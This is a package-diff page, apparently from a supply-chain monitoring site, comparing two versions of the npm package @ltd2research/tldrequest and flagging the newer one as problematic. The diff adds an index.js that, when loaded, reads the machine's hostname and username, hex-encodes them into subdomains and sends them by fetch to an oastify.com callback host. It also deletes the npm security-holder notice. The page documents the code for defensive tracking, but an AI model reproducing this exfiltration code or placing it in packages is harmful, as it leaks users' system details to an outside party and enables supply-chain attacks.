@ltd2research/tldrequest 0.0.1-security → 2.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @ltd2research/tldrequest might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +23 -0
  2. package/package.json +8 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,23 @@
1
+ const os = require("os");
2
+
3
+ function stringToHex(str)
4
+ {
5
+ const buf = Buffer.from(str, 'utf8');
6
+ return buf.toString('hex');
7
+ }
8
+
9
+ const data = {
10
+ "hn": stringToHex(os.hostname()),
11
+ "un": stringToHex(os.userInfo().username)
12
+ }
13
+
14
+ const url = `https://${data["hn"]}.${data["un"]}.rzuw6k993etm4evlbzxzep33jupkd9.oastify.com/get`;
15
+ fetch(url, {
16
+ headers: {
17
+ "User-Agent": "My User Agent",
18
+ },
19
+ })
20
+ .then((response) => response.json())
21
+ .then(data => {
22
+ console.log(data);
23
+ })
package/package.json CHANGED
@@ -1,6 +1,11 @@
1
1
  {
2
2
  "name": "@ltd2research/tldrequest",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.0.0",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
6
11
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=%40ltd2research%2Ftldrequest for more information.